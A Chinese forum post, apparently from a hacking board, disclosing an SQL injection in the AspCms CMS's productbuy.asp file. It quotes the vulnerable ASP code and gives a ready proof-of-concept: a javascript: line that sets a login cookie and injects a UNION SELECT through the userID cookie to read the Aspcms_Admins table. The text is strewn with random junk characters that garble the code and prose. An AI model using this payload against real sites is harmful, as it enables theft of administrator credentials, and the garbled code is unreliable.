好久没上土司了,上来一看发现在删号名单内.....( ~( u2 E6 O/ J2 h/ F t/ _! Q5 ]
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
; x; V+ y+ t9 }废话不多说,看代码:9 g! G; x7 O. Y
: I( J. W& K2 C
<%
/ D( |. P' Q) O* L/ A, j/ M
3 x% {( f2 X, S% g ^" h# b; kif action = "buy" then
0 \( |. @) S; A+ a5 u& N6 ]
# J0 U$ Y7 i, V" L: S addOrder()
0 S- {- b8 E: z& C- @: r/ D4 W- x$ _, l' o3 J
else
9 m4 w" G" T& `, @% R3 g3 s* s5 A% ~/ l& R) C7 K
echoContent()3 o4 o" x2 v7 l* e
( D) g& L3 o$ B' W' {% n* send if# b( _( R9 ?4 Y- r, m, |% C
. S# L7 F" w9 A; A
% F( k& z+ [3 o% ^" k( r! k4 Z: n+ G
3 h' n' ? d7 C/ Z8 f……略过) C4 g/ j1 P$ W$ j- |5 x a
4 p8 U8 I' O Y; o; Q+ G7 F9 K
9 h0 _4 Z% h9 @7 @6 O9 c9 S2 y
' T( I1 ~6 P0 f8 ~ B4 y6 ?$ g1 w! xSub echoContent() k1 H. [. H+ E9 `( V: U
5 T. Y6 H1 W1 }2 c- ^& u
dim id3 V" I) A! O5 g* Z: F. O3 C+ h! p
5 M" Q. c( F7 o* G: c0 o id=getForm("id","get")
- {7 B3 u3 D4 O- u, E4 R( P( {9 N4 u/ k+ `3 N# f2 y
. {0 \( o* p V' Z) L# ]' \; A6 \9 V
2 d* F* R ?1 B2 _9 P$ c( W2 g* R if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 z, t, U" y/ [# ]/ x* t+ `4 l. C8 @6 x& }- e4 k3 a
2 X/ {8 G- p' D
0 f- h Q' w( B5 `9 M) S9 P9 r0 w
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")4 k) I& R1 n4 g2 C, [! a. @
% e0 c" S T9 k% |$ I1 j: R
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
9 f- N$ V* J5 k& m0 _
1 y. Z+ A& f3 f; e( { Dim templatePath,tempStr! I1 L* Z6 y1 z# p8 u H5 ?
. G, s8 ]. Q6 Q, w" t& H% p templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"$ p9 Q% M: U3 |, C# p! [
! F7 s% }8 S( t" @" Q, V( r
- Z6 v- R7 k) l4 g& C1 `
2 ?1 y# n# h0 V, h set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
5 j. I5 O4 W$ A9 U( P0 t+ m+ q+ k' W; l% Q5 d6 u8 V
selectproduct=rsObj(0)
# C7 z6 S- o0 A( d- H
4 D) u' X7 G/ C. T ( X6 Q1 l" W8 [& M
' `$ V U0 T* d; S6 n$ J
Dim linkman,gender,phone,mobile,email,qq,address,postcode
4 Y& r) R3 V: x
4 q/ m) O y2 e0 w if isnul(rCookie("loginstatus")) then wCookie"loginstatus",03 j/ b, [0 {0 v, s ~0 S" d
9 k' B% |" U# P5 a6 D; L
if rCookie("loginstatus")=1 then # [. r* s1 \4 @2 z! N# V
, H8 P5 k+ S# C8 u: k- k set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
/ @! @$ B- u: Q5 K& b/ |) u# a0 W3 U5 i
linkman=rsObj("truename")
6 A" s1 N; X$ }+ j1 J1 N
& k$ t7 M% z/ |/ ~$ o9 }5 o gender=rsObj("gender")5 m# T* f6 X ?% o/ }: E! A- `+ j
5 W& x% ?: `) Z( D/ Y* v+ e phone=rsObj("phone"): m+ }9 u& l# ` {" z& P0 |) W
' W. H8 l& {0 A/ {/ p ]4 n mobile=rsObj("mobile")% ^7 k2 A& Q' K' ^% c: U& ~
$ w4 T, h2 {& _4 F$ }- R+ ]
email=rsObj("email")
) l9 {# P6 h3 p" B4 [1 u. g* p& w2 D. U5 b( {+ _: j" _
qq=rsObj("qq")
5 F; T0 b2 t8 w' l4 e9 u0 ?/ r" [& L$ \
address=rsObj("address")
' G7 ~) Y; q) W4 P# S! @; O. g- S) y, m3 T9 W- d, q5 q
postcode=rsObj("postcode")
/ y6 T$ ^" Y! L% E4 h8 ^
+ e# ]& \. T7 E0 k' o else
9 ?+ @$ h7 F' T9 m" }( ]2 y* _% S9 e( v) C$ o
gender=1* K3 W2 }1 `: f1 _/ }! m& r
|! D- k' R) H% F+ C- p. \ end if
4 h5 v# d0 R% n
+ E4 Q K1 a) Q' c1 c rsObj.close()6 f7 s6 |$ w- x: J% {) p. D
6 p, Y! r- b" |' _
2 Y1 x6 M3 s: _' K6 Q& B' H- m+ }( e( f
with templateObj
; f$ s( H( k- F: e1 |
, b8 r, B q9 d' M .content=loadFile(templatePath)
Z0 }' i/ g A7 ?) y, a' m) f0 Q! `* ]! f3 V/ o8 Z8 p
.parseHtml()
- z# O, x9 @. J4 u( U [! K7 Z7 h J" X O' }+ E' x& u. w+ \7 n1 P
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
5 Y8 T5 o+ _% D& F8 F
9 j, V" S3 T6 Q8 v* I0 K1 g/ V .content=replaceStr(.content,"[aspcms:linkman]",linkman) 0 ?8 L6 P( d" t r4 z8 O
. b$ l2 t" e, t$ L% V3 [4 S5 N
.content=replaceStr(.content,"[aspcms:gender]",gender) ' c) O4 U4 P) J8 ]) C6 N4 y$ [7 \( t4 V
& Q _) g# a0 ~. C7 z7 T7 `: v4 y' T) ^
.content=replaceStr(.content,"[aspcms:phone]",phone)
( G) q7 H8 b- D
2 Y8 x! n0 G( Z! ?! q .content=replaceStr(.content,"[aspcms:mobile]",mobile) 3 _! q1 i+ o" J& s$ h" l; V
' x7 h% L3 i+ g ~* n2 O
.content=replaceStr(.content,"[aspcms:email]",email)
" g% S k$ F/ F2 C4 N w
7 [" I! l' `3 y5 ]& Q& k .content=replaceStr(.content,"[aspcms:qq]",qq) ! q5 T4 @- ~9 e% q: @7 f- Z- E
6 u' B; o) D7 V- l( ^4 J! S
.content=replaceStr(.content,"[aspcms:address]",address) & R. [, D8 Z' C2 t- e
* x" `; }7 c y0 j' _ .content=replaceStr(.content,"[aspcms:postcode]",postcode) & M* k. K) i9 n- |- {8 _
$ C6 x1 k. c( ?5 |% ~ .parseCommon()
: f$ B8 j; u1 m' m! P- | b% u; b u+ p
echo .content 2 \/ Z; o) G/ `& s H
4 \( V1 D5 B, @3 x end with
" B2 [9 W. G1 }: M) y n9 v5 r" | {6 r% j9 y. l
set templateobj =nothing : terminateAllObjects
: @8 R: ]7 _+ \( ^( I( V$ r; _( K: K# d8 b4 M. ]4 L# }9 E
End Sub1 N# A; V- O" b# {3 J2 |
漏洞很明显,没啥好说的
- l3 {2 H6 d+ d: [poc:
$ {# G, _+ |7 x# N- }5 ?* i, j$ a) D7 y/ N W" A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
6 I4 C& W1 s0 Q9 a% @; _" C
" a, f( Y$ `* E, v |